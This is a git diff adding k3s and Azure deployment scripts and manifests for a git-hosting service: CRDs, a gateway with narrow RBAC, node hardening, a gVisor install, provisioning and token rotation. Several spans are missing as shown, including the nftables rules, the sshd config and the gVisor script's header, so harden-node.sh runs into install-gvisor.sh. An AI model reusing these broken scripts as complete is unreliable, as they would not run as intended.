"type": "string" + } + }, + "required": [ + "lastTransitionTime", + "message", + "reason", + "status", + "type" + ], + "type": "object" + }, + "type": "array" + }, + "observedGeneration": { + "format": "int64", + "nullable": true, + "type": "integer" + } + }, + "type": "object" + } + }, + "required": [ + "spec" + ], + "title": "OwnerBinding", + "type": "object" + } + }, + "selectableFields": [ + { + "jsonPath": ".spec.nodeName" + } + ], + "served": true, + "storage": true, + "subresources": { + "status": {} + } + } + ] + } + }, + { + "apiVersion": "apiextensions.k8s.io/v1", + "kind": "CustomResourceDefinition", + "metadata": { + "name": "snapshotrequests.rustic-git.io" + }, + "spec": { + "group": "rustic-git.io", + "names": { + "kind": "SnapshotRequest", + "plural": "snapshotrequests", + "shortNames": [ + "snap" + ], + "singular": "snapshotrequest" + }, + "scope": "Cluster", + "versions": [ + { + "additionalPrinterColumns": [ + { + "jsonPath": ".spec.volume", + "name": "Volume", + "type": "string" + }, + { + "jsonPath": ".status.phase", + "name": "Phase", + "type": "string" + }, + { + "jsonPath": ".status.snapshotId", + "name": "Snapshot", + "type": "string" + }, + { + "jsonPath": ".metadata.creationTimestamp", + "name": "Age", + "type": "date" + } + ], + "name": "v1alpha1", + "schema": { + "openAPIV3Schema": { + "description": "Auto-generated derived type for SnapshotRequestSpec via `CustomResource`", + "properties": { + "spec": { + "description": "One push, as an object: the request the user made and, in status, what it produced.\n\nA CR rather than the annotation it replaces, because a push is a wish WITH AN OUTCOME and an\nannotation has nowhere to put the outcome — the old design smuggled it into\n`Volume.status.lastPush.at` by echoing the request's timestamp back.\n\nDeliberately NOT owned by the Volume: a snapshot outlives a deleted workspace, because the\nrecord it names still exists on the server tier. Deleting this object deletes no data.\nponytail: no snapshot deletion or retention yet; the GC sweep for blobs is unchanged.", + "properties": { + "message": { + "nullable": true, + "type": "string" + }, + "volume": { + "description": "The `Volume` to snapshot, by name. The whole spec: everything else about a push is either a\nfact a controller owns (the node) or an outcome (the record id).", + "type": "string" + } + }, + "required": [ + "volume" + ], + "type": "object" + }, + "status": { + "nullable": true, + "properties": { + "at": { + "description": "RFC 3339, when the record landed.", + "nullable": true, + "type": "string" + }, + "conditions": { + "items": { + "description": "Condition contains details for one aspect of the current state of this API Resource.", + "properties": { + "lastTransitionTime": { + "description": "lastTransitionTime is the last time the condition transitioned from one status to another. This should be when the underlying condition changed. If that is not known, then using the time when the API field changed is acceptable.", + "format": "date-time", + "type": "string" + }, + "message": { + "description": "message is a human readable message indicating details about the transition. This may be an empty string.", + "type": "string" + }, + "observedGeneration": { + "description": "observedGeneration represents the .metadata.generation that the condition was set based upon. For instance, if .metadata.generation is currently 12, but the .status.conditions[x].observedGeneration is 9, the condition is out of date with respect to the current state of the instance.", + "format": "int64", + "type": "integer" + }, + "reason": { + "description": "reason contains a programmatic identifier indicating the reason for the condition's last transition. Producers of specific condition types may define expected values and meanings for this field, and whether the values are considered a guaranteed API. The value should be a CamelCase string. This field may not be empty.", + "type": "string" + }, + "status": { + "description": "status of the condition, one of True, False, Unknown.", + "type": "string" + }, + "type": { + "description": "type of condition in CamelCase or in foo.example.com/CamelCase.", + "type": "string" + } + }, + "required": [ + "lastTransitionTime", + "message", + "reason", + "status", + "type" + ], + "type": "object" + }, + "type": "array" + }, + "lineageTip": { + "nullable": true, + "type": "string" + }, + "observedGeneration": { + "description": "Mostly a \"seen it\" marker — the spec is immutable in practice, and `phase != done` is the\nreal idempotency guard. Present because every status in this group carries one, and a\nreader who has to check per kind will eventually check wrong.", + "format": "int64", + "nullable": true, + "type": "integer" + }, + "phase": { + "description": "`pending` | `working` | `done` | `error`. A request is never re-run past `done`.", + "enum": [ + "creating", + "stopped", + "error", + "pending", + "ready", + "running", + "working", + "done" + ], + "type": "string" + }, + "snapshotId": { + "description": "The registry commit record's id — the snapshot itself.", + "nullable": true, + "type": "string" + } + }, + "required": [ + "phase" + ], + "type": "object" + } + }, + "required": [ + "spec" + ], + "title": "SnapshotRequest", + "type": "object" + } + }, + "served": true, + "storage": true, + "subresources": { + "status": {} + } + } + ] + } + } + ] +} diff --git a/deploy/k3s/dev-push.sh b/deploy/k3s/dev-push.sh new file mode 100755 index 00000000..f377e1b0 --- /dev/null +++ b/deploy/k3s/dev-push.sh @@ -0,0 +1,50 @@ +#!/usr/bin/env bash +# Build both images on the build VM and roll them straight onto the cluster. +# +# The fast loop. CI takes ~8 minutes because it starts from a cold GitHub Actions cache and builds +# with the production profile; this reuses the build VM's warm cargo target and the `dev-image` +# profile (no LTO, 16 codegen units), so an incremental change is a couple of minutes. +# +# NOT for production. `dev-image` skips exactly the optimizations that make the release binary +# worth its build time, and the images are tagged `dev-{short-sha}` so nothing can mistake one for +# a CI artifact. Deploy manifests pin CI's SHA tags; this only ever moves what is running now. +set -euo pipefail +cd "$(dirname "$0")" +. ./env.sh + +: "${BUILD_HOST:?set BUILD_HOST, e.g. azureuser@20.0.0.1}" +REPO_ROOT="$(cd ../.. && pwd)" +SHA="$(git -C "$REPO_ROOT" rev-parse --short HEAD)" +DIRTY="" +git -C "$REPO_ROOT" diff --quiet || DIRTY="-dirty" +TAG="dev-${SHA}${DIRTY}" +REG="${DEV_REGISTRY:-ghcr.io/kloudlite}" + +echo "==> syncing to $BUILD_HOST" +# --delete so a file removed locally cannot linger on the builder and get compiled in. +rsync -az --delete \ + --exclude target --exclude .git --exclude node_modules --exclude web \ + "$REPO_ROOT/" "$BUILD_HOST:~/rustic-git/" + +echo "==> building $TAG (profile dev-image)" +# The Dockerfile is runtime-only (see its header): cargo runs on the VM itself, against its warm +# target dir, and the two docker builds only COPY target/dev-image/. The VM needs rustup's stable +# toolchain; the compile lands binaries for bookworm as long as the VM's glibc is <= 2.36. +ssh "$BUILD_HOST" "cd ~/rustic-git && \ + cargo build --profile dev-image --locked && \ + sudo docker build --build-arg PROFILE=dev-image --target server -t '$REG/rustic-git:$TAG' . && \ + sudo docker build --build-arg PROFILE=dev-image --target agent -t '$REG/rustic-git-agent:$TAG' ." + +echo "==> pushing" +# GHCR needs a token with write:packages on the builder, once: +# echo $PAT | sudo docker login ghcr.io -u --password-stdin +# NOT `gh auth token` — the CLI's default scopes do not include write:packages, and the push fails +# with `permission_denied: The token provided does not match expected scopes` only at the very end, +# after the whole build. Use a PAT created with write:packages. +ssh "$BUILD_HOST" "sudo docker push '$REG/rustic-git:$TAG' && sudo docker push '$REG/rustic-git-agent:$TAG'" + +echo "==> rolling" +kubectl -n kube-system set image daemonset/rustic-git-agent "agent=$REG/rustic-git-agent:$TAG" +kubectl -n kube-system rollout status daemonset/rustic-git-agent --timeout=300s +echo "server image: $REG/rustic-git:$TAG (roll it with your own context, this script does not +touch the server tier — it lives on a different cluster)" diff --git a/deploy/k3s/env.example.sh b/deploy/k3s/env.example.sh new file mode 100644 index 00000000..778e0ae2 --- /dev/null +++ b/deploy/k3s/env.example.sh @@ -0,0 +1,30 @@ +# Copy to deploy/k3s/env.sh (git-ignored) and edit. NO SECRETS HERE — tokens go via scp/kubectl. +CLOUD=azure # azure | oci — only this file differs between them +RG=rustic-git-k3s +LOC=centralindia # where the Cosmos accounts and blob storage already live +IMAGE=Canonical:ubuntu-24_04-lts:server:latest +ADMIN=azureuser +SSH_KEY=~/.ssh/id_rsa.pub + +# Sizing. These are vCPU counts, not Oracle OCPUs: 32 vCPU / 128 GB for sessions, 16 / 128 for +# environments. Azure resizes in place, so starting here and growing later costs one reboot. +CP_SIZE=Standard_D2s_v5 # control plane: 2 vCPU / 8 GB, hosts no workloads +SESSION_SIZE=Standard_D32s_v5 # session worker: 32 vCPU / 128 GB +ENV_SIZE=Standard_E16s_v5 # env worker: 16 vCPU / 128 GB +POOL_DISK_GB=1024 # per-worker dedicated data disk -> btrfs -> /wspool-prod + +CP=k3s-cp; SESSION=session-0; ENVN=env-0 + +# Build box. NOT a cluster node, deliberately: the toolchain used to live on session-0, and a Rust +# build tree plus Docker filled its OS disk, tainted the node `disk-pressure`, stopped all +# scheduling and had the kubelet garbage-collect the agent image. F-series because a build is +# CPU-bound, and a large OS disk because that is what actually ran out. +BUILD=build-0 +BUILD_SIZE=Standard_F16s_v2 +BUILD_DISK_GB=256 + +# SSH ingress is scoped to this. A residential IP changes — re-run the ssh rule when it does. +# 0.0.0.0/0 here is a finding, not a default. +ADMIN_CIDR=203.0.113.1/32 + +WS_REGISTRY_URL=https://git.khost.dev # server tier's agent work surface (NOT bins/api) diff --git a/deploy/k3s/format-pool.sh b/deploy/k3s/format-pool.sh new file mode 100755 index 00000000..a5dd770f --- /dev/null +++ b/deploy/k3s/format-pool.sh @@ -0,0 +1,28 @@ +#!/usr/bin/env bash +# Format a worker's dedicated data disk as the btrfs workspace pool and mount it at /wspool-prod. +# +# Run on the worker, as root, with the DEVICE as the only argument. Identify that device by SIZE +# (`lsblk -dno NAME,SIZE,TYPE`), never by a remembered `/dev/sdc` — device names reorder across +# reboots, and formatting the wrong one is unrecoverable. +set -euo pipefail +DEV=${1:?device, e.g. /dev/sdb} + +# The whole safety of this script: an existing filesystem means this disk is already somebody's +# pool, so re-running can never eat one. +if blkid "$DEV" >/dev/null 2>&1; then + echo "refusing: $DEV already has a filesystem" >&2 + exit 1 +fi + +mkfs.btrfs -L wspool "$DEV" +mkdir -p /wspool-prod +UUID=$(blkid -s UUID -o value "$DEV") +# By UUID, for the same reason the device is chosen by size: a name is not a stable identity. +grep -q "$UUID" /etc/fstab || echo "UUID=$UUID /wspool-prod btrfs defaults,noatime 0 0" >> /etc/fstab +systemctl daemon-reload +mount /wspool-prod +# Per-filesystem, once: without it every `btrfs qgroup limit` the agent applies (a volume's +# `spec.quotaGb`) fails and the Volume reports `QuotaEnforced=False`. An existing pool gets this +# by hand — `btrfs quota enable /wspool-prod` — and rescans once. +btrfs quota enable /wspool-prod +findmnt -no TARGET,FSTYPE /wspool-prod diff --git a/deploy/k3s/gateway.yaml b/deploy/k3s/gateway.yaml new file mode 100644 index 00000000..703b5753 --- /dev/null +++ b/deploy/k3s/gateway.yaml @@ -0,0 +1,171 @@ +# The workspace SSH gateway. +# +# One replica per pool node, each holding `hostPort: 80` on that node's public interface: the +# Cloudflare A records for `ws-.khost.dev` point at those nodes, and `harden-node.sh` +# admits 80 from Cloudflare's ranges only. TLS terminates at the edge (the hostname's SSL mode +# is Flexible), so the edge→node hop is plaintext over a port nothing but the edge can reach. +# Moving to Full (strict) later is an Origin CA certificate in a `gateway-tls` Secret plus +# `GATEWAY_TLS_DIR` — the binary already serves 443 when that is set; no code changes. +# +# This is a Deployment with a required +# anti-affinity rather than a DaemonSet — a DaemonSet would also schedule onto a node whose IP is +# in no DNS record, and `hostPort` makes two pods per node unschedulable anyway. +# +# `kube-system`, because the workspace NetworkPolicy admits port 22 from `app=rustic-git-gateway` +# pods in that namespace and nowhere else. +apiVersion: v1 +kind: ServiceAccount +metadata: + name: rustic-git-gateway + namespace: kube-system +--- +# `get` and nothing else, on two kinds. The gateway reads placement (`status.podRef`) and an +# address (`status.podIP`); it never writes, never lists, and holds no user credential — a token +# it is handed is spent on connect and names one workspace. +# +# Pods are cluster-wide because RBAC cannot express "namespaces matching `ws-*`" — there is no +# globbing in a rule, and the alternative is one RoleBinding per workspace namespace, written by +# something. `get` alone (no list, no watch) is the narrowing that is actually expressible: this +# SA can read a pod it can already name, and cannot enumerate the cluster. +apiVersion: rbac.authorization.k8s.io/v1 +kind: ClusterRole +metadata: + name: rustic-git-gateway +rules: + - apiGroups: ["rustic-git.io"] + resources: ["workspaces"] + verbs: ["get"] + - apiGroups: [""] + resources: ["pods"] + verbs: ["get"] +--- +apiVersion: rbac.authorization.k8s.io/v1 +kind: ClusterRoleBinding +metadata: + name: rustic-git-gateway +roleRef: + apiGroup: rbac.authorization.k8s.io + kind: ClusterRole + name: rustic-git-gateway +subjects: + - kind: ServiceAccount + name: rustic-git-gateway + namespace: kube-system +--- +apiVersion: apps/v1 +kind: Deployment +metadata: + name: rustic-git-gateway + namespace: kube-system + labels: + app: rustic-git-gateway +spec: + # One per pool node: `session-0` and `env-0`. Raising this past the node count leaves pods + # Pending on `hostPort`. + replicas: 2 + # Recreate, not RollingUpdate: with a hostPort and a required anti-affinity the old pod owns + # the node's port, so a rolling update can never place its replacement and wedges forever. + # Both replicas going down together is a few seconds of "reconnect", nothing more. + strategy: + type: Recreate + selector: + matchLabels: + app: rustic-git-gateway + template: + metadata: + labels: + app: rustic-git-gateway + # Plain scrape annotations, no Prometheus Operator assumed (a ServiceMonitor would need the + # CRD installed first; kube-prometheus-stack and the Azure managed agent both honour these). + annotations: + prometheus.io/scrape: "true" + prometheus.io/port: "9464" + prometheus.io/path: /metrics + spec: + serviceAccountName: rustic-git-gateway + nodeSelector: + rustic-git.io/pool: "true" + tolerations: + - key: rustic-git.io/role + operator: Exists + affinity: + podAntiAffinity: + # Required, not preferred: two replicas on one node is one CrashLoop and one silently + # unreachable node, which reads as "Cloudflare is flaky" rather than as a scheduling bug. + requiredDuringSchedulingIgnoredDuringExecution: + - labelSelector: + matchLabels: + app: rustic-git-gateway + topologyKey: kubernetes.io/hostname + containers: + - name: gateway + # Pinned by commit SHA like the agent, never `:latest` — the tag is what says which + # code is running, and `IfNotPresent` on an immutable tag means image GC costs a + # re-pull rather than a silent version change. + # No imagePullSecret: the package is public, like the repository. + # repin after the first image build — this SHA is a placeholder and will not pull. + image: ghcr.io/kloudlite/rustic-git-gateway:a3d98c1c2a17a1bbf461b309e6c7a7c6c34dce3a + imagePullPolicy: IfNotPresent + ports: + - name: http + containerPort: 8080 + # The whole point: the edge connects to the NODE, not through a Service. + hostPort: 80 + env: + # A separate listener: 8080 and 443 are the internet-facing ones. NOT a hostPort. + - name: RUSTIC_GIT_METRICS_ADDR + value: 0.0.0.0:9464 + # The same secret the api mints session tokens with — verification is local, so the + # gateway needs no call to AKS on the connect path. Copied into this cluster at + # rollout; the pod fails closed without it. + - name: RUSTIC_GIT_JWT_SECRET + valueFrom: + secretKeyRef: + name: rustic-git-jwt + key: secret + # From the agent's Secret, which is where this region's name already lives — one + # source, so a gateway cannot end up accepting another region's tokens. + - name: WS_REGION + valueFrom: + secretKeyRef: + name: rustic-git-agent + key: WS_REGION + - name: RUST_BACKTRACE + value: "1" + resources: + requests: + cpu: 100m + memory: 256Mi + limits: + memory: 256Mi + livenessProbe: + httpGet: + path: /healthz + port: 8080 + periodSeconds: 20 + securityContext: + # The container binds 8080 (the hostPort mapping to 80 is the CNI's), so nothing here + # needs to bind a privileged port — but the binary carries a NET_BIND_SERVICE FILE + # capability (`setcap` in the Dockerfile, for the 443 path), and execve of such a file + # fails with EPERM when the bounding set lacks that capability. Keep it granted. + runAsUser: 1001 + runAsGroup: 1001 + allowPrivilegeEscalation: false + readOnlyRootFilesystem: true + capabilities: + drop: ["ALL"] + add: ["NET_BIND_SERVICE"] +--- +# Cluster-internal only: the health check and tests. Real traffic arrives on the node's 80. +apiVersion: v1 +kind: Service +metadata: + name: rustic-git-gateway + namespace: kube-system +spec: + selector: + app: rustic-git-gateway + ports: + - name: http + port: 8080 + targetPort: 8080 diff --git a/deploy/k3s/harden-node.sh b/deploy/k3s/harden-node.sh new file mode 100755 index 00000000..26033121 --- /dev/null +++ b/deploy/k3s/harden-node.sh @@ -0,0 +1,87 @@ +#!/usr/bin/env bash +# Harden one k3s node. Idempotent; run as root on the node (`ssh azureuser@ sudo bash -s < harden-node.sh`). +# +# WHY each piece: +# - nftables default-drop on the public interface. The Azure NSG already gates inbound, but an NSG +# is one console click from open; the node's own firewall is the second lock. Intra-VNet and the +# pod overlay stay open (k3s, flannel, kubelet, the agent's peer calls), the Azure wire server +# too (walinuxagent handshakes on it), everything else from the internet is dropped — including +# the future SSH gateway port, which the agent opens per authorized session. +# - unattended-upgrades: security patches without anyone remembering to. +# - sshd: keys only, no root login. The cloud image already disables passwords; pinning it here +# survives a package upgrade rewriting the config. +# - CF_CIDRS: the gateway's 80 is reachable only from the edge (TLS ends at Cloudflare). Cloudflare proxies +# `ws-.khost.dev` at the pool nodes, so anything reaching node:80 directly (not through +# Cloudflare) is either a scanner or an attacker with the node's raw IP — admit the edge's +# published ranges only, same list `deploy/ingress-nginx-config.yaml` trusts for the AKS side. +set -euo pipefail +ADMIN_CIDR="${ADMIN_CIDR:?the operator's CIDR (SSH, kubectl) — the NSG's ssh rule source}" +# Who may reach the k3s API besides the VNet: the operator, and the AKS api tier's egress IP (it +# writes every Workspace/Environment spec into this cluster). Control plane only. +API_CLIENTS="${API_CLIENTS:-}" +VNET="${VNET:-10.60.1.0/24}" +POD_CIDR="${POD_CIDR:-10.42.0.0/16}" +IFACE="$(ip -o -4 route show default | awk '{print $5}' | head -1)" +# Cloudflare's published v4 ranges for the gateway's 80, environment-only: this script is run +# streamed (`ssh … sudo bash -s < harden-node.sh`, per the doc comment above), which gives it no +# file of its own on the remote box to fall back to — `$0`/`BASH_SOURCE` is unbound stdin under +# `set -u` in that mode. Build the value locally instead: +# CF_CIDRS="$(paste -sd, deploy/k3s/cloudflare-ips-v4.txt)" +# and pass it through explicitly, e.g. +# ssh azureuser@ "sudo CF_CIDRS='$CF_CIDRS' ADMIN_CIDR='$ADMIN_CIDR' bash -s" \ +# < deploy/k3s/harden-node.sh +# Empty/unset means no 80 rule at all — 80 stays closed until a list is supplied, never +# open-by-default. +CF_CIDRS="${CF_CIDRS:-}" + +cat > /etc/nftables.conf <&2; exit 1; } +# Replace only OUR table: a `flush ruleset` would also wipe the iptables-nft rules k3s and flannel +# program for the pod network, and take every pod off the network with it. +nft delete table inet node 2>/dev/null || true +nft -f /etc/nftables.conf +systemctl enable --now nftables >/dev/null + +apt-get install -y -qq unattended-upgrades >/dev/null +cat > /etc/apt/apt.conf.d/20auto-upgrades </dev/null + +cat > /etc/ssh/sshd_config.d/90-hardened.conf < fetching runsc" +cd "$TMP" +wget -q "${URL}/runsc" "${URL}/runsc.sha512" "${URL}/containerd-shim-runsc-v1" "${URL}/containerd-shim-runsc-v1.sha512" +# The checksums are the whole reason this is not a curl-into-bash: a sandbox binary fetched without +# verification is a rootkit with extra steps. +sha512sum -c runsc.sha512 +sha512sum -c containerd-shim-runsc-v1.sha512 +install -m 755 runsc containerd-shim-runsc-v1 /usr/local/bin/ + +echo "==> registering the runtime with k3s containerd" +# k3s regenerates config.toml from this template on every start, so editing config.toml directly is +# undone by the next restart. The template is the only durable place. +TPL=/var/lib/rancher/k3s/agent/etc/containerd/config-v3.toml.tmpl +[ -f "$TPL" ] || cp /var/lib/rancher/k3s/agent/etc/containerd/config.toml "$TPL" +if ! grep -q 'runtimes.runsc' "$TPL"; then + cat >> "$TPL" <<'TOML' + +[plugins.'io.containerd.cri.v1.runtime'.containerd.runtimes.runsc] + runtime_type = 'io.containerd.runsc.v1' +TOML +fi + +echo "==> restarting k3s-agent" +systemctl restart k3s-agent +sleep 5 +runsc --version | head -1 +echo "installed. Apply deploy/k3s/runtimeclass.yaml, then set WS_RUNTIME_CLASS=gvisor in the agent Secret." diff --git a/deploy/k3s/nix-conf.yaml b/deploy/k3s/nix-conf.yaml new file mode 100644 index 00000000..c465b94b --- /dev/null +++ b/deploy/k3s/nix-conf.yaml @@ -0,0 +1,18 @@ +# The daemon's whole configuration. Nothing here is user-tunable: substituters and keys are the +# one trust decision in the store, and they are ours. +apiVersion: v1 +kind: ConfigMap +metadata: + name: rustic-git-nix + namespace: kube-system +data: + nix.conf: | + experimental-features = nix-command flakes + substituters = https://cache.nixos.org + trusted-public-keys = cache.nixos.org-1:6NCHdD59X431o0gWypbMrAURkbJ16ZPMQFGspcDShjY= + max-jobs = 2 + cores = 2 + # The daemon keeps its own headroom: GC below 5 GB free, up to 20 GB. + min-free = 5368709120 + max-free = 21474836480 + trusted-users = root diff --git a/deploy/k3s/provision-azure.sh b/deploy/k3s/provision-azure.sh new file mode 100755 index 00000000..a06915fa --- /dev/null +++ b/deploy/k3s/provision-azure.sh @@ -0,0 +1,65 @@ +#!/usr/bin/env bash +# Provision the three k3s nodes. Idempotent enough to re-run after a partial failure: every +# create is guarded, so a half-finished run is resumed rather than duplicated. +# +# Network first, deliberately — the NSG must exist before any NIC, or a VM comes up briefly +# reachable on rules nobody chose. +set -euo pipefail +cd "$(dirname "$0")" +. ./env.sh + +have() { az "$@" >/dev/null 2>&1; } + +az group create -n "$RG" -l "$LOC" -o none + +have network vnet show -g "$RG" -n k3s-vnet || az network vnet create -g "$RG" -n k3s-vnet \ + --address-prefix 10.60.0.0/16 --subnet-name nodes --subnet-prefix 10.60.1.0/24 -o none + +have network nsg show -g "$RG" -n k3s-nsg || az network nsg create -g "$RG" -n k3s-nsg -o none + +# SSH from the operator only. +have network nsg rule show -g "$RG" --nsg-name k3s-nsg -n ssh || \ + az network nsg rule create -g "$RG" --nsg-name k3s-nsg -n ssh --priority 100 \ + --source-address-prefixes "$ADMIN_CIDR" --destination-port-ranges 22 --protocol Tcp --access Allow -o none + +# Everything k3s needs is INTRA-cluster only: never expose 6443/10250/8472 to the internet. +have network nsg rule show -g "$RG" --nsg-name k3s-nsg -n k3s-api || \ + az network nsg rule create -g "$RG" --nsg-name k3s-nsg -n k3s-api --priority 200 \ + --source-address-prefixes 10.60.1.0/24 --destination-port-ranges 6443 --protocol Tcp --access Allow -o none +have network nsg rule show -g "$RG" --nsg-name k3s-nsg -n flannel-vxlan || \ + az network nsg rule create -g "$RG" --nsg-name k3s-nsg -n flannel-vxlan --priority 210 \ + --source-address-prefixes 10.60.1.0/24 --destination-port-ranges 8472 --protocol Udp --access Allow -o none +have network nsg rule show -g "$RG" --nsg-name k3s-nsg -n kubelet || \ + az network nsg rule create -g "$RG" --nsg-name k3s-nsg -n kubelet --priority 220 \ + --source-address-prefixes 10.60.1.0/24 --destination-port-ranges 10250 --protocol Tcp --access Allow -o none + +az network vnet subnet update -g "$RG" --vnet-name k3s-vnet -n nodes --network-security-group k3s-nsg -o none + +for spec in "$CP:$CP_SIZE:0" "$SESSION:$SESSION_SIZE:$POOL_DISK_GB" "$ENVN:$ENV_SIZE:$POOL_DISK_GB"; do + IFS=: read -r name size disk <<<"$spec" + if ! have vm show -g "$RG" -n "$name"; then + # `--nsg ""` matters: the subnet NSG is the single place rules live; a per-NIC NSG would + # silently shadow it. + az vm create -g "$RG" -n "$name" --image "$IMAGE" --size "$size" \ + --admin-username "$ADMIN" --ssh-key-values "$SSH_KEY" \ + --vnet-name k3s-vnet --subnet nodes --nsg "" --public-ip-sku Standard -o none + fi + if [ "$disk" != 0 ] && [ -z "$(az vm show -g "$RG" -n "$name" --query "storageProfile.dataDisks[0].name" -o tsv)" ]; then + az vm disk attach -g "$RG" --vm-name "$name" -n "$name-pool" \ + --new --size-gb "$disk" --sku Premium_LRS -o none + fi +done + +az vm list -g "$RG" -d -o table + +# --------------------------------------------------------------------------- +# OCI equivalent. Everything after this script is identical on both clouds — only node creation +# and the disk attach differ, so there is no second copy of the k3s install to keep in sync. +# +# oci network vcn create --cidr-blocks '["10.60.0.0/16"]' --display-name k3s-vcn +# oci network security-list update --security-list-id "$SL" --ingress-security-rules file://rules.json +# (the same four: 22 from $ADMIN_CIDR, and 6443/tcp, 8472/udp, 10250/tcp from 10.60.1.0/24) +# oci compute instance launch --shape VM.Standard.E5.Flex \ +# --shape-config '{"ocpus":16,"memoryInGBs":128}' # OCI ocpus are half the vCPU count +# oci bv volume create --size-in-gbs 1024 && oci compute volume-attachment create --type paravirtualized +# --------------------------------------------------------------------------- diff --git a/deploy/k3s/rotate-agent-token.sh b/deploy/k3s/rotate-agent-token.sh new file mode 100755 index 00000000..d1679244 --- /dev/null +++ b/deploy/k3s/rotate-agent-token.sh @@ -0,0 +1,26 @@ +#!/usr/bin/env bash +# Rotate a region's agent token: mint a new one at the api, install it in the region's agent +# Secret, restart the agents. Run from a laptop with both kubeconfigs. +# +# WHY a script: the api endpoint exists (`POST /v1/regions/{id}/rotate-token`) but a token that is +# rotated in one place and not the other takes every push in the region down; doing both halves in +# one command is what makes rotation something you actually do after a scare, not something you +# plan for a quiet week. The old token stops working the moment the api call lands, so the +# DaemonSet restart follows immediately. +# +# ADMIN_JWT= ./rotate-agent-token.sh centralindia-k3s [k3s-kubeconfig] +set -euo pipefail +REGION="${1:?region id}" +K3S_KUBECONFIG="${2:-$(dirname "$0")/../../.local/k3s.yaml}" +API="${API:-https://dev.kloudlite.io}" +: "${ADMIN_JWT:?an admin session JWT}" + +NEW=$(curl -fsS -X POST -H "Authorization: Bearer $ADMIN_JWT" "$API/v1/regions/$REGION/rotate-token" \ + | python3 -c 'import sys,json; print(json.load(sys.stdin)["agent_token"])') +[ -n "$NEW" ] || { echo "no token in the response" >&2; exit 1; } + +KUBECONFIG="$K3S_KUBECONFIG" kubectl -n kube-system patch secret rustic-git-agent --type merge \ + -p "{\"data\":{\"WS_AGENT_TOKEN\":\"$(printf %s "$NEW" | base64 | tr -d '\n')\"}}" >/dev/null +KUBECONFIG="$K3S_KUBECONFIG" kubectl -n kube-system rollout restart ds/rustic-git-agent >/dev/null +KUBECONFIG="$K3S_KUBECONFIG" kubectl -n kube-system rollout status ds/rustic-git-agent --timeout=300s +echo "rotated $REGION; the previous token is dead" diff --git a/deploy/k3s/runtimeclass.yaml b/deploy/k3s/runtimeclass.yaml new file mode 100644 index 00000000..b85f810b --- /dev/null +++ b/deploy/k3s/runtimeclass.yaml @@ -0,0 +1,15 @@ +# The sandbox tenant pods run under. +# +# `handler: runsc` matches the containerd runtime name that install-gvisor.sh appends to the k3s +# config template. A pod naming a RuntimeClass whose handler is not installed on its node stays +# Pending — which is why the agent only stamps it when WS_RUNTIME_CLASS says the cluster has it. +apiVersion: node.k8s.io/v1 +kind: RuntimeClass +metadata: + name: gvisor +handler: runsc +# Only nodes that carry the runtime. Without this the scheduler would happily place a sandboxed pod +# on a node that cannot run it. +scheduling: + nodeSelector: + rustic-git.io/gvisor: "true" diff --git a/deploy/k3s/storageclass.yaml b/deploy/k3s/storageclass.yaml new file mode 100644 index 00000000..6580f05d --- /dev/null +++ b/deploy/k3s/storageclass.yaml @@ -0,0 +1,23 @@ +# The StorageClass every workspace and environment volume binds through. +# +# Static, not dynamic: `no-provisioner` means nothing creates storage on demand. The controller +# creates one `local` PersistentVolume per btrfs subvolume it has already made, and the claim binds +# to that PV by name. A dynamic provisioner would pick its own directory, which is precisely what we +# do not want — the whole point is that the volume IS the subvolume the snapshot engine manages. +# +# `WaitForFirstConsumer` is load-bearing. With the default `Immediate`, a claim binds to a PV as +# soon as it is created, before any pod exists — so the scheduler is handed a volume already pinned +# to a node and must work around it. Deferring the bind until a pod is scheduled lets the scheduler +# consider the PV's node affinity as one input among many, and a pod that cannot be placed says so +# instead of binding wrongly and failing later. +# +# `Retain` decides what happens to a user's data when their claim goes away, and it must never be +# `Delete`: reclaiming a subvolume is a deliberate controller action behind the finalizer, not +# something the kubelet does as a side effect of a namespace being cleaned up. +apiVersion: storage.k8s.io/v1 +kind: StorageClass +metadata: + name: rustic-git-local +provisioner: kubernetes.io/no-provisioner +volumeBindingMode: WaitForFirstConsumer +reclaimPolicy: Retain diff --git a/deploy/rustic-git-web.yaml b/deploy/rustic-git-web.yaml index e1e40c96..3bdb9c86 100644 --- a/deploy/rustic-git-web.yaml +++ b/deploy/rustic-git-web.yaml @@ -28,10 +28,14 @@ spec: # that can actually read ghcr.io/kloudlite/rustic-git-web. containers: - name: web - image: ghcr.io/kloudlite/rustic-git-web:2c990e4993d9b260b78ec92307a450d56215a064 + image: ghcr.io/kloudlite/rustic-git-web:785e3bc515cd8293851615d90575aab491ef7e76 ports: - { name: http, containerPort: 3000 } env: + # V8 sizes its heap from HOST memory, so the pod OOMKills instead of + # GC'ing. 384 leaves the rest of the 512Mi limit for buffers and stack. + - name: NODE_OPTIONS + value: "--max-old-space-size=384" - name: AUTH_SECRET valueFrom: { secretKeyRef: { name: rustic-git-web, key: auth-secret } } # Auth.js builds provider callback URLs from this; it must match the address @@ -52,6 +56,10 @@ spec: # cluster — today it resolves to a different origin and 404s. - name: RUSTIC_GIT_CLONE_HOST value: dev.kloudlite.io + # The registry is a different hostname from the app: docker pull lines on the + # Container Images pages must name it, while clone URLs keep the app's host. + - name: RUSTIC_GIT_REGISTRY_HOST + value: cr.khost.dev # SSH cannot go through Cloudflare's proxy, so it has its own name, # DNS-only, straight at the git load balancer. - name: RUSTIC_GIT_SSH_HOST @@ -62,6 +70,13 @@ spec: value: http://rustic-git-api - name: RUSTIC_GIT_PEER_SECRET valueFrom: { secretKeyRef: { name: rustic-git-peer, key: secret } } + # Team invitations go out through Resend. Both optional: unset, the invite is still + # created and the inviter is shown the link to pass on by hand, rather than the app + # pretending an email went out. `from` must be on a domain verified in Resend. + - name: RESEND_API_KEY + valueFrom: { secretKeyRef: { name: rustic-git-mail, key: resend-api-key, optional: true } } + - name: RESEND_FROM + valueFrom: { secretKeyRef: { name: rustic-git-mail, key: from, optional: true } } # Email + password sign-in exists only while both of these are set. - name: AUTH_ALLOWED_EMAILS valueFrom: { secretKeyRef: { name: rustic-git-web, key: allowed-emails, optional: true } } @@ -77,16 +92,20 @@ spec: valueFrom: { secretKeyRef: { name: rustic-git-web, key: google-id, optional: true } } - name: AUTH_GOOGLE_SECRET valueFrom: { secretKeyRef: { name: rustic-git-web, key: google-secret, optional: true } } - - name: AUTH_MICROSOFT_ENTRA_ID_ID - valueFrom: { secretKeyRef: { name: rustic-git-web, key: microsoft-id, optional: true } } - - name: AUTH_MICROSOFT_ENTRA_ID_SECRET - valueFrom: { secretKeyRef: { name: rustic-git-web, key: microsoft-secret, optional: true } } readinessProbe: - httpGet: { path: /login, port: http } - periodSeconds: 5 + httpGet: { path: /api/health, port: http } + periodSeconds: 10 + # Same split as the git server: startup gets its own allowance so liveness never 